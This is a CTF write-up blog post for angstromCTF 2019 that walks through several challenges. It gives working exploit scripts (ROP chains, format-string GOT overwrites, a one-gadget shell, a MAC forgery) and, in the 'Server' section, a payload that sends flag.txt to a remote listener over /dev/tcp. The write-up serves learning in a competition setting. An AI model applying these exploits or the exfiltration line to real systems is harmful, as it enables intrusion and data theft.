CTFするぞ

CTF以外のことも書くよ

angstromCTF 2019 Writeup

I played angstromCTF 2019 Quals as a member of team zer0pts. It had been held for 1 week beggining on April 19th. We got 3730pts and reached the 8th place. I was mostly working on pwn challs but also solved another categories and got 1300pts.

f:id:ptr-yudai:20190425141008p:plain

Most of the challs are well designed, the source code for Web and Pwn challs are open, and there are a wide range of challenges from easy to hard. I really enjoyed the CTF. Thank you @angstromctf for holding such an amazing CTF!

The bad point is that the server was instable and we couldn't often access to the scoreboard. I hope the infrastructure will be improved next time :)

[Binary 80pts] Chain Of Rope

Description: defund found out about this cool new dark web browser! While he was browsing the dark web he came across this service that sells rope chains on the black market, but they're super overpriced! He managed to get the source code. Can you get him a rope chain without paying?
Server: nc shell.actf.co 19400
Files: chain_of_rope, chain_of_rope.c

It's a 64-bit binary with SSP, RELRO, PIE disabled.

$ checksec chain_of_rope
[*] 'chain_of_rope'
    Arch:   64 bits (little endian)
    NX:     NX enabled
    SSP:    SSP disabled (No canary found)
    RELRO:  Partial RELRO
    PIE:    PIE disabled

And there is a simple stack overflow vulnerability in the main function.

lea     rax, [rbp+buf]
mov     rdi, rax
mov     eax, 0
call    _gets
jmp     short loc_401391

Also, there is a function named flag, which prints the flag if the following constraints holds:

  • userToken = 0x1337
  • balance = 0x4242
  • edi = 0xba5eba11
  • esi = 0xbedabb1e

userToken can be set to 0x1337 by calling the function authorize. balance can be set to 0x4242 if userToken is 0x1337 and edi is 0xdeadbeef.

So, we just have to make a ROP chain to accomplish them.

from ptrlib import *

elf = ELF("./chain_of_rope")
#sock = Process("./chain_of_rope")
sock = Socket("shell.actf.co", 19400)

rop_pop_rdi = 0x00401403
rop_pop_rsi_r15 = 0x00401401

sock.sendline("1")

payload = b'A' * 0x38
payload += p64(elf.symbol("authorize"))
payload += p64(rop_pop_rdi)
payload += p64(0xdeadbeef)
payload += p64(elf.symbol("addBalance"))
payload += p64(rop_pop_rsi_r15)
payload += p64(0xbedabb1e)
payload += p64(0xaaaabbbb)
payload += p64(rop_pop_rdi)
payload += p64(0xba5eba11)
payload += p64(elf.symbol("flag"))
sock.sendline(payload)

sock.interactive()

[Binary 120pts] Purchases

Description: This grumpy shop owner won't sell me his flag! At least I have his source.
Server: nc shell.actf.co 19011
Files: purchases, purchases.c

It's a 64-bit binary with RELRO, PIE disabled.

$ checksec purchases
[*] 'purchases'
    Arch:   64 bits (little endian)
    NX:     NX enabled
    SSP:    SSP enabled (Canary found)
    RELRO:  Partial RELRO
    PIE:    PIE disabled

We can send the name of the item and the program writes our input 3 times.

printf("We didn't sell you a ")
printf(item)
printf(". You're trying to scam us! We don't even sell ")
printf(item)
printf("s. Leave this place and take your ")
printf(item)
printf(" with you. ")
puts("Get out!")

There is the FSB vulnerability. Also, it has a function named flag, which prints the flag.

So, we just have to change the GOT address of puts to the address of flag. Just be careful to put the address at the last of our payload because it's 64 bit.

from ptrlib import *

elf = ELF("./purchases")
#sock = Process("./purchases")
sock = Socket("shell.actf.co", 19011)

_ = input()
sock.recvuntil("What item would you like to purchase? ")

payload = str2bytes("%{}c%{}$hn".format(0x11b6, 8 + 2))
payload += b'A' * (8 - (len(payload) % 8))
payload += p64(elf.got("puts"))[:3]
sock.sendline(payload)

sock.interactive()

[Binary 160pts] Returns

Description: Need to make a return? This program might be able to help you out (source, libc).
Server: nc shell.actf.co 19307
Files: returns, returns.c, libc.so.6

It's a 64-bit binary with RELRO, PIE disabled.

$ checksec returns
[*] 'returns'
    Arch:   64 bits (little endian)
    NX:     NX enabled
    SSP:    SSP enabled (Canary found)
    RELRO:  Partial RELRO
    PIE:    PIE disabled

We can send the name of the item and the program writes our input 3 times.

printf("We didn't sell you a ")
printf(item)
printf(". You're trying to scam us! We don't even sell ")
printf(item)
printf("s. Leave this place and take your ")
printf(item)
printf(" with you. ")
puts("Get out!")

It's similar to Purchases but it doesn't have the flag function. Since we can give only one input, we have to change the GOT address of puts to main first. (At the same time I leaked the libc base.) I found some useful One Gadget RCE but we can't write them at once because it's a 64-bit address. So, my idea is to overwrite the GOT address of __stack_chk_fail 2 byte2 by 2 bytes to the RCE address and overwrite the GOT address of puts to the address pof __stack_chk_fail@plt at last. We can change the main address (written in puts@got) to __stack_chk_fail@plt at once because it's relatively close (and we only need to overwrite the least 2 bytes).

This is the exploit code:

from ptrlib import *

elf = ELF("./returns")
plt_stack_chk_fail = 0x401050

#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#diff = 0xe7
#libc_gadget = 0x4f322
#sock = Process("./returns")

libc = ELF("./libc.so.6")
diff = 0xf0
libc_gadget = 0x4526a
sock = Socket("shell.actf.co", 19307)

# Stage 1
sock.recvuntil("What item would you like to return? ")
payload = b'%17$p...'
payload += str2bytes("%{}c%{}$hn".format(
    (elf.symbol("main") & 0xffff) - 17,
    8 + 3
))
payload += b'A' * (8 - (len(payload) % 8))
payload += p64(elf.got("puts"))[:3]
sock.sendline(payload)
sock.recvuntil("We didn't sell you a ")
addr_libc_start_main = int(sock.recvuntil(".").rstrip(b"."), 16)
libc_base = addr_libc_start_main - libc.symbol("__libc_start_main") - diff
#addr_system = libc_base + libc.symbol("system")
addr_gadget = libc_base + libc_gadget
dump("libc base = " + hex(libc_base))

# Stage 2
sock.recvuntil("What item would you like to return? ")
payload = b'AAAABBBB'
payload += str2bytes("%{}c%{}$hn".format(
    (addr_gadget & 0xffff) - 8,
    11
))
payload += b'A' * (8 - (len(payload) % 8))
payload += p64(elf.got("__stack_chk_fail"))[:3]
sock.sendline(payload)

# Stage 3
sock.recvuntil("What item would you like to return? ")
payload = b'AAAABBBB'
payload += str2bytes("%{}c%{}$hn".format(
    ((addr_gadget >> 16) & 0xffff) - 8,
    11
))
payload += b'A' * (8 - (len(payload) % 8))
payload += p64(elf.got("__stack_chk_fail") + 2)[:3]
sock.sendline(payload)

# Stage 4
sock.recvuntil("What item would you like to return? ")
payload = b'AAAABBBB'
payload += str2bytes("%{}c%{}$hn".format(
    ((addr_gadget >> 32) & 0xffff) - 8,
    11
))
payload += b'A' * (8 - (len(payload) % 8))
payload += p64(elf.got("__stack_chk_fail") + 4)[:3]
sock.sendline(payload)

# Stage 6
_ = input()
sock.recvuntil("What item would you like to return? ")
payload = b'AAAABBBB'
payload += str2bytes("%{}c%{}$hn".format(
    (plt_stack_chk_fail & 0xffff) - 8,
    11
))
payload += b'A' * (8 - (len(payload) % 8))
payload += p64(elf.got("puts"))[:3]
sock.sendline(payload)

# Get the shell!
sock.interactive()

[Binary 50pts] Aquarium

Description: Here's a nice little program that helps you manage your fish tank. Run it on the shell server at /problems/2019/aquarium/ or connect with nc shell.actf.co 19305.
Server: nc shell.actf.co 19305
Files: aquarium, aquarium.c

It's just a simple buffer overflow. We are given a function which prints the flag.

from ptrlib import *

elf = ELF("./aquarium")
#sock = Process(["stdbuf", "-o0", "./aquarium"])
sock = Socket("shell.actf.co", 19305)

payload = b"A" * 0x98
payload += p64(elf.symbol("flag"))

# Stage 1
sock.sendline("1")
sock.sendline("2")
sock.sendline("3")
sock.sendline("4")
sock.sendline("5")
sock.sendline("6")
sock.recvuntil("Enter the name of your fish tank: ")
sock.sendline(payload)

sock.interactive()

[Binary 180pts] Server

Description: Check out my new website, powered by my own custom web server!
File: server

It's very small web server which seems to be written by the assembly language. It waits for a connection and forks the program when someone accesses. The program has a buffer overflow vulnerability when reading the URL because it reads character by character until a whitespace comes.

Also, there is a strange system call right before the program exits.

mov     rdi, fd
mov     eax, 1
mov     rsi, offset aWelcomeToMyWeb ; "welcome to my web server! as you can se"...
mov     rdx, welcome_size ; count
syscall                 ; LINUX - sys_write
sub     rax, rdx
add     rax, 3
xor     rdx, rdx
syscall                 ; LINUX -
mov     eax, 3Ch
syscall                 ; LINUX - sys_exit

If it writes all of the characters on sys_write, rax will be 3 and sys_close(0) will be called.

So, our first goal is to control the value of rax and call an arbitrary syscall.

sys_write returns 0xfffffffffffffff7 if the parameter count is too large to write. We can control the value of count because it's located near the overflowed buffer. So, the following formula holds.

rax = (0xfffffffffffffff7 - rdx) + 3

Let's call sys_execve in this way. We have to set rax to 59, rdi to the address of the program path, and rsi to the address of the array of the arguments. We can also control rdi and rsi because they're also loaded from near the overflowed buffer (fd and aWelcomeToMyWeb respectively).

However, we have a problem. We can't get the output of the program because we can just get the output which is written to the fd.

So, I set up a server and listened to a connection:

$ nc -l -p 9999

Thus, we can get the output by sending it to the server like this:

ls>&/dev/tcp/??.??.??.??/9999

Be careful not to use a whitespace in the payload.

This is my final exploit code:

from ptrlib import *

syscall_num = 59 # sys_execve

addr_buf = 0x4028b1
addr_msg = 0x402840

struct = b''
struct += p64(addr_msg)
struct += p64(addr_msg + 10)
struct += p64(addr_msg + 13)
struct += p64(0)
struct += b'/bin/bash\x00' # addr_msg
struct += b'-c\x00' # addr_msg + 10
struct += b'cat<flag.txt>&/dev/tcp/??.??.??.??/9999' # addr_msg + 13
struct += b'\x00' * (0x58 - len(struct))
struct = struct[:-1] + b' '

URL = b"A" * 0x800
URL += p64(addr_msg) # file descriptor
URL += p64(0xfffffffffffffff7 + 3 - syscall_num) # size
URL += struct

REQUEST = b"HELLO WORLD!"

#sock = Socket("localhost", 19303)
sock = Socket("shell.actf.co", 19303)

payload = b"GET "
payload += URL
payload += REQUEST
sock.send(payload)
sock.interactive()

[Binary 150pts] Over My Brain

Description: Everyone knows I'm in over my brain, over my brain ... with this esolang. With eight seconds left in overtime, it's on your mind, it's on your mind ... the source, of course!
Server: nc shell.actf.co 19001
Files: over_my_brain, over_my_brain.c

It's a simple brainf**k interpreter with the user input not implemented. Also, there is a function named flag, which prints the flag. The memory for the interpreter is a local variable of 256 bytes long. We can send a brainf**k code of maximum 144 bytes long.

As it doesn't check the reference range, we can read from and write to arbitrary memory addresses. We have to make the exploit code small because the size for the code is limited.

Our goal is to overwrite the return address of main into the address of flag. I made the following script to generate such a code.

addr_flag = 0x4011c6

def craft_write(c):
    b = int(c ** 0.5)
    payload = "+" * (c - b * b) + ">"
    payload += "[-]" + "+" * b
    payload += "[<" + "+" * b + ">-]"
    return payload

# jump to ret addr
payload = "+[>+]" + ">" * 0x28
# reset
payload += "[-]"
payload += craft_write((addr_flag >> 0) & 0xFF)
payload += craft_write((addr_flag >> 8) & 0xFF)
payload += craft_write((addr_flag >> 16) & 0xFF)
payload += ">[-]>[-]"

print(len(payload))

print(payload)

The exploit code is the following (138 bytes):

+[>+]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]++>[-]++++++++++++++[<++++++++++++++>-]+>[-]++++[<++++>-]>[-]++++++++[<++++++++>-]>[-]>[-]

[Crypto 220pts] Mac Forgery

Description: CBC-MAC is so overrated. This new scheme supports variable lengths and multiple tags per message.
Server: nc 54.159.113.26 19002
File: mac_forgery.zip

As we connect to the server, we are given the signature (MAC) for the welcome message. We have to send a message (which is not same as the welcome message) and its MAC value. So, it's a sort of collision challenge.

The MAC value is generated by the following script:

def next(self, t, m):
    return AES.new(self.key, AES.MODE_ECB).encrypt(strxor(t, m))

def mac(self, m, iv):
    m = pad(m, self.BLOCK_SIZE)
    m = split(m, self.BLOCK_SIZE)
    m.insert(0, long_to_bytes(len(m), self.BLOCK_SIZE))
    t = iv
    for i in range(len(m)):
        t = self.next(t, m[i])
    return t

The IV is randomly generated each time we connect.

Let n be the number of the message blocks and m_{i} (i \in {1, 2, ..., n}) be the message block. A block m_{0}, which is the byte expression of n, is inserted to the blocks. Then it calculates the token t = E(...E(E(IV \oplus m_{0}) \oplus m_{1}) ..., m_{n}).

Here we prepare new n blocks and append it to the end of the original message.

m_{n+j+1} = m_{j} (j \in {0, 1, 2, ..., n}).

Then, the n+1th encryption system receives m_{n+1} \oplus t. If we change m_{n+1} into m_{n+1} \oplus t \oplus IV, the n+1th encryption system receives

t \oplus (m_{n+1} \oplus t \oplus IV) = m_{n+1} \oplus IV

This means the final output will be t because the following blocks are same as the previous blocks. One problem is that the block m_{0} also changes as we extend the message blocks. However, we can control it because we can specify the IV.

This is the final script.

from ptrlib import *
from Crypto.Util.number import long_to_bytes
from Crypto.Util.strxor import strxor
pad = lambda s, bs: s + (bs - len(s) % bs) * bytes([bs - len(s) % bs])
split = lambda s, n: [s[i:i+n] for i in range(0, len(s), n)]

welcome = b'''\
If you provide a message (besides this one) with
a valid message authentication code, I will give
you the flag.'''

sock = Socket("54.159.113.26", 19002)

# recv
sock.recvuntil("MAC: ")
mac = b''.fromhex(bytes2str(sock.recvline().rstrip()))
iv  = mac[:16]
t   = mac[16:]

m = welcome
m = pad(m, 16)
m = split(m, 16)
m.insert(0, long_to_bytes(len(m), 16))
n = len(m)

# forgery
m += m
m[n] = strxor(strxor(m[n], iv), t)
m.pop(0)

fake_m = b''.join(m)
fake_m = fake_m[:-1] # unpad
fake_iv = strxor(iv, strxor(long_to_bytes(7, 16), long_to_bytes(15, 16)))

sock.recvuntil("Message: ")
sock.sendline(fake_m.hex())
sock.recvuntil("MAC: ")
sock.sendline((fake_iv + t).hex())

sock.interactive()

[Misc 150pts] Printer Paper

Description: We need to collect more of defund's math papers to gather evidence against him. See if you can find anything in the data packets we've intercepted from his printer.
File: printer_paper.pcapng

When I tried this chall, @st98 had already found that the printer packets are of the XQX format. I cloned this repository and built the software, and ran the following command to restore the document. (out.bin is the extracted data stream of the printer packets.)

$ xqxdecode -d /tmp/hoge out.bin

It will dump a file named hoge-01-4.pbm and the contents can be seen by GIMP.

[Misc 190pts] Paper Cut

Decription: defund submitted a math paper to a research conference and received a few comments from the editors. Unfortunately, we only have a fragment of the returned paper.
File: paper_cut.pdf

We are given a PDF file which is truncated.

$ hexdump -C paper_cut.pdf | tail
00007dd0  56 84 93 ac 63 96 8f 26  8f d4 17 46 3a f0 6c f0  |V...c..&...F:.l.|
00007de0  42 a8 f9 bc d4 cd a8 9b  97 b2 a0 b8 38 e6 90 2c  |B...........8..,|
00007df0  f5 35 3e 8c c3 e8 f6 29  ce bd f1 36 73 23 d9 73  |.5>....)...6s#.s|
00007e00  8a b3 d9 f1 8e 92 ae d1  c4 6e 6e e4 7c b1 cd 65  |.........nn.|..e|
00007e10  c3 ef 80 9d 8e 5b 10 19  0b 7c 41 4a d5 b4 03 df  |.....[...|AJ....|
00007e20  60 8a 9f da 02 90 0b b8  f9 70 99 ec 20 3f 8d a2  |`........p.. ?..|
00007e30  2d 50 13 ce 1d bc 80 46  c8 f2 47 89 b6 2a c7 ef  |-P.....F..G..*..|
00007e40  0e 59 19 b7 79 63 a5 82  da 83 72 11 2d a5 f2 f7  |.Y..yc....r.-...|
00007e50  bb a7 6d e1 dd f1 6a 28  fe 8b 60 48 2b 7b ee 24  |..m...j(..`H+{.$|
00007e60

I tried several tools such as gs or mutool to repair it, but none of them worked. OK, so let's read the PDF binary. In the beggining has the following stream object and the stream lasts until the end of the file.

4 0 obj
<< /Length 5 0 R /Filter /FlateDecode >>
stream
...

The header says that the stream is compressed by deflate. This article (Japanese) really helped me understand the structure of the PDF format. We can decompress the FlateDecode stream by skipping the first 2 bytes according to this another article. Let's see if we can decompress the stream.

import zlib

with open("stream.bin", "rb") as f:
    buf = f.read()[2:]

decoded = zlib.decompress(buf, -15)
print(decoded)

This won't work because the stream is truncated.

$ python test.py 
Traceback (most recent call last):
  File "test.py", line 6, in <module>
    decoded = zlib.decompress(buf, -15)
zlib.error: Error -5 while decompressing data: incomplete or truncated stream

I assumed that the last part of the stream was not necessary and tried to find the correct length.

import zlib

with open("stream.bin", "rb") as f:
    buf = f.read()[2:]

while True:
    try:
        decoded = zlib.decompress(buf, -15)
        print(decoded)
        break
    except zlib.error as e:
        buf += b'\xff'
        if "incomplete" in str(e):
            continue
        else:
            print(e)
            exit()

Yay, it worked!

$ python test.py
q Q q 0 0 595.276 841.89 re W n BT 10.9091 0 0 10.9091 130.447 683.997 Tm
/Ty1 1 Tf [ (M) -0.7 (E) -0.5 (A) -0.4 (S) -0.9 (U) -0.7 (R) -0.5 (A) -0.4
(B) -0.1 (I) -0.1 (L) -0.7 (I) -0.1 (TY) -498.4 (I) -0.1 (N) -499 (M) -0.7
(O) -0.9 (D) -0.9 (E) -0.5 (R) -0.5 (N) -498 (U) -0.7 (NI) -0.1 (V) -0.4 (E)
...

The another part we have to do is append some objects to make it a valid PDF document. The 4th object (the first part) becomes like this:

4 0 obj
<< /Length 5 0 R >>
stream
[the stream we decompressed]
endstream
endobj

We need a catalog, which is referenced by the PDF viewer first.

1 0 obj
<<
/Pages 2 0 R
/Type /Catalog
>>
endobj

And the page tree, which has an information about how many pages the document has, or the reference to the pages.

2 0 obj
<<
/Kids [3 0 R]
/Count 1
/Type /Pages
>>
endobj

As I set 3rd object to be the page object, I have to add the page object. The page object has information such as the page size and the refenrece to the page object stream.

3 0 obj
<<
/Parent 2 0 R
/MediaBox [0 0 595 842]
/Contents 4 0 R
/Type /Page
>>
endobj

At last, we have to append the trailer in order to make the viewer recognize which object appears at which offset. Making all togather, I wrote the following script which dumps a repaired PDF.

from ptrlib import str2bytes
import zlib

with open("stream.bin", "rb") as f:
    buf = f.read()[2:]

while True:
    try:
        decoded = zlib.decompress(buf, -15)
        #print(decoded)
        break
    except zlib.error as e:
        buf += b'\xff'
        if "incomplete" in str(e):
            continue
        else:
            print(e)
            exit()
    
script = b'''%PDF-1.3\n'''
objpos = len(script)

# Something
script += b'''4 0 obj
<< /Length 5 0 R >>
stream
'''
script += decoded
script += b'''
endstream
endobj
'''

# Catalog
catalogpos = len(script)
script += b'''
1 0 obj
<<
/Pages 2 0 R
/Type /Catalog
>>
endobj
'''

# Page tree
pagetreepos = len(script)
script += b'''
2 0 obj
<<
/Kids [3 0 R]
/Count 1
/Type /Pages
>>
endobj
'''

# Page object
pageobjpos = len(script)
script += b'''
3 0 obj
<<
/Parent 2 0 R
/MediaBox [0 0 595 842]
/Contents 4 0 R
/Type /Page
>>
endobj
'''

# trailer
script += str2bytes('''xref
0 6
0000000000 65535 f 
{0:010} 00000 n 
{1:010} 00000 n 
{2:010} 00000 n 
{3:010} 00000 n 
trailer

<<
/Root 1 0 R
/Size 6
>>
startxref
{4}
'''.format(
    catalogpos,
    pagetreepos,
    pageobjpos,
    objpos,
    len(script)
))
script += b'%%EOF'

with open("repaired.pdf", "wb") as f:
    f.write(script)

Perfect!

f:id:ptr-yudai:20190425141029p:plain